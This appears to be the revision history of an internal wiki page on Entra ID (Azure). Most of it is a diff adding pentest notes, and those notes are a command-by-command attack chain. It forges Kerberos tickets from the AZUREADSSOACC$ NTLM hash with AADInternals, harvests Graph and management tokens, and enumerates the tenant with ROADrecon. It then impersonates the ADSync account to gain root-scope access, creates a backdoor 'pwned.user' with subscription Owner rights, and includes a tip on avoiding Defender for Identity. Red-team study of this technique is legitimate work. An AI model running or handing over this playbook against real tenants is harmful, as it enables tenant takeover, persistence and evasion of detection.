Handbook III - Cloud - Revision history

Administrator: /* Step 3 — Forge Kerberos Ticket */

2026-06-23T09:55:00Z

Step 3 — Forge Kerberos Ticket

← Older revision		Revision as of 09:55, 23 June 2026
Line 57:		Line 57:
	# SID format must be full: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX		# SID format must be full: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX
	# Use SID for a user that is synced between Azure AD and local Active Directory.		# Use SID for a user that is synced between Azure AD and local Active Directory.
	$kerberos = ~~New-AADIntKerberosTicket~~ -SidString "<~~AD_SID~~>" -Hash "<~~NTLM_Hash~~>"		$kerberos=NewAADIntKerberosTicket -SidString <Internal AD SID> -Hash <SSOACC$ NTLM Hash>
	</syntaxhighlight>		</syntaxhighlight>

Administrator: /* Azure AD Kerberos SSO Attack — Pentest Notes */

2026-06-23T09:54:26Z

Azure AD Kerberos SSO Attack — Pentest Notes

← Older revision		Revision as of 09:54, 23 June 2026
Line 17:		Line 17:

	== Azure AD Kerberos SSO Attack — Pentest Notes ==		== Azure AD Kerberos SSO Attack — Pentest Notes ==

			=== Source ===
			[https://trustedsec.com/blog/azure-ad-kerberos-tickets-pivoting-to-the-cloud azure-ad-kerberos-tickets-pivoting-to-the-cloud]

	=== Prerequisites ===		=== Prerequisites ===
Line 145:		Line 148:
	New-AzRoleAssignment -ObjectID <ObjectID> -RoleDefinitionName "Owner" -Scope $subScope		New-AzRoleAssignment -ObjectID <ObjectID> -RoleDefinitionName "Owner" -Scope $subScope
	</syntaxhighlight>		</syntaxhighlight>


	~~[https://trustedsec.com/blog/azure-ad-kerberos-tickets-pivoting-to-the-cloud Source]~~

Administrator: /* Azure AD Kerberos SSO Attack — Pentest Notes */

2026-05-26T08:44:27Z

Azure AD Kerberos SSO Attack — Pentest Notes

← Older revision		Revision as of 08:44, 26 May 2026
Line 12:		Line 12:

	[[Category:Handbooks]]		[[Category:Handbooks]]

			== Azure Administrative Tiering (AzTier) ==
			https://aztier.com/

	== Azure AD Kerberos SSO Attack — Pentest Notes ==		== Azure AD Kerberos SSO Attack — Pentest Notes ==

Administrator: /* Step 9 — Create Persistent Cloud User */

2026-05-26T08:44:00Z

Step 9 — Create Persistent Cloud User

← Older revision		Revision as of 08:44, 26 May 2026
Line 144:		Line 144:


	https://trustedsec.com/blog/azure-ad-kerberos-tickets-pivoting-to-the-cloud		[https://trustedsec.com/blog/azure-ad-kerberos-tickets-pivoting-to-the-cloud Source]

Administrator: /* Entra ID (Azure) */

2026-05-26T08:42:42Z

Entra ID (Azure)

← Older revision		Revision as of 08:42, 26 May 2026
Line 12:		Line 12:

	[[Category:Handbooks]]		[[Category:Handbooks]]

			== Azure AD Kerberos SSO Attack — Pentest Notes ==

			=== Prerequisites ===
			* Domain Admin / DC access
			* <code>AZUREADSSOACC$</code> NTLM hash extracted via SecretsDump
			* Target account SID (synced to Azure AD, preferably no MFA/Conditional Access)
			* Tools: AADInternals, ROADtools, SecretsDump, rpcclient

			=== Tool Installation ===
			<syntaxhighlight lang="powershell">
			Install-Module -Name "AADInternals"
			Install-Module -Name "AADInternals-Endpoints"
			Import-Module -Name "AADInternals"
			</syntaxhighlight>

			<syntaxhighlight lang="bash">
			pip install roadrecon --break-system-packages
			</syntaxhighlight>

			=== Step 1 — Confirm SSO Enabled ===
			<syntaxhighlight lang="powershell">
			Invoke-AADIntReconAsOutsider -Domain domain.com \| Format-Table
			# Look for DesktopSSO: True
			</syntaxhighlight>

			=== Step 2 — Enumerate Accounts via rpcclient ===
			<syntaxhighlight lang="bash">
			# If you don't have BloodHound data, enumerate the user via rpcclient. Usually, this does not get detected by defender for identity.
			rpcclient -U "domain/user%password" <DC_IP>
			enumdomusers
			lookupnames <username>
			</syntaxhighlight>

			=== Step 3 — Forge Kerberos Ticket ===
			<syntaxhighlight lang="powershell">
			# NTLM hash = NT part only (32 chars after last colon from SecretsDump)
			# SID format must be full: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX
			# Use SID for a user that is synced between Azure AD and local Active Directory.
			$kerberos = New-AADIntKerberosTicket -SidString "<AD_SID>" -Hash "<NTLM_Hash>"
			</syntaxhighlight>

			=== Step 4 — Get Access Tokens ===

			'''Important: each tool needs a different token audience'''

			{\| class="wikitable"
			! Tool !! Audience !! AADInternals Command
			\|-
			\| roadrecon gather \|\| <code>https://graph.windows.net</code> \|\| <code>Get-AADIntAccessTokenForAADGraph</code>
			\|-
			\| Connect-MgGraph / Get-MgUser \|\| <code>https://graph.microsoft.com</code> \|\| <code>Get-AADIntAccessTokenForMSGraph</code>
			\|-
			\| Azure Core Management \|\| <code>https://management.core.windows.net/</code> \|\| <code>Get-AADIntAccessTokenForAzureCoreManagement</code>
			\|}

			<syntaxhighlight lang="powershell">
			# Get all three and save to cache
			Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
			Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
			Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache
			</syntaxhighlight>

			=== Step 5 — Enumerate Azure AD with ROADrecon ===
			<syntaxhighlight lang="bash">
			roadrecon auth --access-token <AADGraph_token>
			roadrecon gather -f .roadtools_auth
			roadrecon gui # Web UI on port 5000 — ensure attack box is not on public IP
			</syntaxhighlight>

			=== Step 6 — Connect Microsoft Graph & Check Context ===
			<syntaxhighlight lang="powershell">
			# Connect using MSGraph token
			$mgToken = Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com
			Connect-MgGraph -AccessToken (ConvertTo-SecureString $mgToken -AsPlainText -Force)

			# Check current session context and user
			$me = Get-MgContext
			Write-Output $me

			# List all scopes/permissions granted to the token
			(Get-MgContext).Scopes
			</syntaxhighlight>

			=== Step 7 — Check Token Permissions ===
			<syntaxhighlight lang="powershell">
			# Decode token — check scp, roles, wids, aud, upn claims
			Read-AADIntAccessToken -AccessToken <token>
			</syntaxhighlight>

			Decode at '''jwt.ms''' for a clean readable view.

			{\| class="wikitable"
			! Claim !! Meaning
			\|-
			\| <code>scp</code> \|\| Delegated scopes e.g. Directory.Read.All
			\|-
			\| <code>roles</code> \|\| Application role assignments
			\|-
			\| <code>wids</code> \|\| Directory role GUIDs (Global Admin etc.)
			\|-
			\| <code>aud</code> \|\| Which API this token is valid for
			\|-
			\| <code>upn</code> \|\| Which user this token belongs to
			\|}

			=== Step 8 — Escalate to Global Admin ===
			<syntaxhighlight lang="powershell">
			# Impersonate ADSync account (high value — has directory sync rights by design)
			$kerberos = New-AADIntKerberosTicket -SidString "<ADSync_SID>" -Hash "<NTLM_Hash>"
			Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
			Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
			Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache

			# Elevate to User Access Administrator at root scope
			Grant-AADIntAzureUserAccessAdminRole

			# Verify subscription access
			Get-AADIntAzureSubscriptions
			</syntaxhighlight>

			=== Step 9 — Create Persistent Cloud User ===
			<syntaxhighlight lang="powershell">
			# Note the ObjectID in the output
			New-AADIntUser -UserPrincipalName pwned.user@domain.com -DisplayName "pwned user"

			# Assign subscription ownership
			$subScope = "subscriptions/<subscription_id>"
			New-AzRoleAssignment -ObjectID <ObjectID> -RoleDefinitionName "Owner" -Scope $subScope
			</syntaxhighlight>


			https://trustedsec.com/blog/azure-ad-kerberos-tickets-pivoting-to-the-cloud

Administrator at 22:11, 17 February 2026

2026-02-17T22:11:25Z

← Older revision		Revision as of 22:11, 17 February 2026
Line 1:		Line 1:
	== Entra ID (Azure) ==		== Entra ID (Azure) ==


	Certification: [https://www.alteredsecurity.com/cartp-bootcamp Attacking & Defending Azure Cloud: Beginner's Edition (CARTP) (alteredsecurity.com)]		Certification: [https://www.alteredsecurity.com/cartp-bootcamp Attacking & Defending Azure Cloud: Beginner's Edition (CARTP) (alteredsecurity.com)]


	[https://learn.microsoft.com/en-us/training/entra/ Microsoft Entra ID on Microsoft Learn \| Microsoft Learn]		[https://learn.microsoft.com/en-us/training/entra/ Microsoft Entra ID on Microsoft Learn \| Microsoft Learn]


	[https://microsoft.github.io/PartnerResources/skilling/microsoft-security-academy/entra-academy Microsoft Entra Academy]		[https://microsoft.github.io/PartnerResources/skilling/microsoft-security-academy/entra-academy Microsoft Entra Academy]


	* How to use Graph API for C2 communication		* How to use Graph API for C2 communication


	*		*

	[[Category:Handbooks]]		[[Category:Handbooks]]

imported>Aghanim at 19:24, 31 August 2023

2023-08-31T19:24:53Z

New page

== Entra ID (Azure) ==

Certification: [https://www.alteredsecurity.com/cartp-bootcamp Attacking & Defending Azure Cloud: Beginner's Edition (CARTP) (alteredsecurity.com)]

[https://learn.microsoft.com/en-us/training/entra/ Microsoft Entra ID on Microsoft Learn | Microsoft Learn]

[https://microsoft.github.io/PartnerResources/skilling/microsoft-security-academy/entra-academy Microsoft Entra Academy]

* How to use Graph API for C2 communication

*

[[Category:Handbooks]]